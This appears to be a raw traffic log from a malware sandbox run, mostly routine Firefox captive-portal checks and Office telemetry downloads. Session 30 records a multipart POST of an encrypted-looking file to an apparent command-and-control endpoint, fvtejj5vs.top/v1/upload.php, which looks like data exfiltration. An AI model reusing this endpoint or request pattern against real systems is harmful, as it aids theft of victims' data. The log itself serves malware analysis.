Nov 17, 2024 22:22:32.928915024 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:33.054888010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56686 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:43.140355110 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 17, 2024 22:22:44.078454971 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:44.204679966 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56698 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:44.937959909 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:45.063616991 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56699 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:55.148686886 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 17, 2024 22:22:55.643281937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:55.769793987 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56709 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:55.823704004 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:55.949656010 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56709 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 17, 2024 22:22:56.353389025 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 17, 2024 22:22:56.479434967 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 17 Nov 2024 05:37:46 GMT Age: 56710 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	55099	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:26.588294983 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	55100	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:26.726629972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	55103	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:27.042325974 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	55106	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:27.485830069 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	55107	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:27.868161917 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	55109	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:28.199512959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:28.794318914 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25888 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:28.946906090 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:29.072717905 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25889 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:33.059880972 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:33.184258938 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25893 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:43.240686893 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 17, 2024 22:22:44.280261040 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:44.404354095 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25904 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:45.075387955 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:45.199619055 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25905 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:55.249299049 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 17, 2024 22:22:55.771778107 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:55.905797958 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25915 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:55.951798916 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:56.076227903 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25916 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 17, 2024 22:22:56.482448101 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 17, 2024 22:22:56.606924057 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 17 Nov 2024 14:11:00 GMT Age: 25916 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	55114	62.76.234.151	80

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:53.379971981 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtejj5vs.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------VBejlJnFIZYuU6PKnx3BOO Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 56 42 65 6a 6c 4a 6e 46 49 5a 59 75 55 36 50 4b 6e 78 33 42 4f 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 6f 7a 69 68 61 63 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2f 1a ca b3 5b da 1e 1e 9e b5 0c 41 77 ea e2 95 26 e5 89 f7 eb e0 bc 67 51 28 1f b1 e3 ed f1 40 98 aa 65 d2 71 87 16 f6 c4 66 03 5f 87 4f 29 98 c7 1f 69 e5 48 35 c4 7c 70 ad 57 64 a7 b5 2a 56 79 91 16 58 dd f1 67 9b 6f 59 a4 34 b7 76 a7 4a 6d 19 8d 19 db 8a 89 bd 79 28 51 da b0 d3 b0 33 b7 d9 3e a2 be 5f 0a 2c 07 3b b2 cd a3 49 6f 63 f0 e5 cd ef f0 06 aa 83 16 00 8b ff db bd 69 62 18 17 3c e0 5a a8 94 48 96 58 d6 c5 34 1a 05 4b 22 b5 b5 fd e8 99 31 20 0a 81 84 49 a9 e4 ce 58 19 7e 9f f5 37 a4 86 b9 13 a5 6c f1 26 35 2c cf d8 [TRUNCATED] Data Ascii: --------------------------VBejlJnFIZYuU6PKnx3BOOContent-Disposition: form-data; name="file"; filename="Xozihac.bin"Content-Type: application/octet-stream/[Aw&gQ(@eqf_O)iH5\|pWd*VyXgoY4vJmy(Q3>_,;Iocib<ZHX4K"1 IX~7l&5,Cf.>&'?^!@H?jp;;Z~73$j=)@,--------------------------VBejlJnFIZYuU6PKnx3BOO--
Nov 17, 2024 22:22:54.436913967 CET	209	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:54 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49703	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:17 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212016Z-16547b76f7f9s8x7hC1DFWywrg00000004h000000000re3z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-17 21:20:17 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
